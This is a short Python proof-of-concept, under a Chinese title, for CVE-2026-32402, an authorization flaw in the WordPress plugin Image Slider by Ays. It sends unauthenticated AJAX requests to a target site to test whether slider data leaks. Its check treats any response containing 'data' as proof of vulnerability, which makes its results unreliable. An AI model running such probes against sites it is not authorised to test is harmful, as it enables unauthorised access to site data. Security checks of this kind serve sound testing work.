CVE-2026-32402 WordPress Image Slider by Ays插件访问控制漏洞

import requests import sys # CVE-2026-32402 PoC - Missing Authorization in Image Slider by Ays # Target: WordPress site with Image Slider by Ays plugin <= 2.7.1 def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-32402 """ # Try to access plugin's AJAX endpoint without authentication # This endpoint should require admin privileges vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/ays-slider/v1/' ] for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint # Try to list all sliders without authentication data = { 'action': 'ays_slider_load_sliders', 'page': 1 } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: # Check if response contains slider data without auth if 'data' in response.text or 'slides' in response.text: print(f"[+] Potential vulnerability found at {url}") print(f"[+] Response indicates unauthorized access possible") return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-32402.py <target_url>") print("Example: python cve-2026-32402.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Checking CVE-2026-32402 on {target}") if check_vulnerability(target): print("[!] Target appears to be vulnerable") else: print("[*] Target may not be vulnerable or plugin not installed") if __name__ == "__main__": main()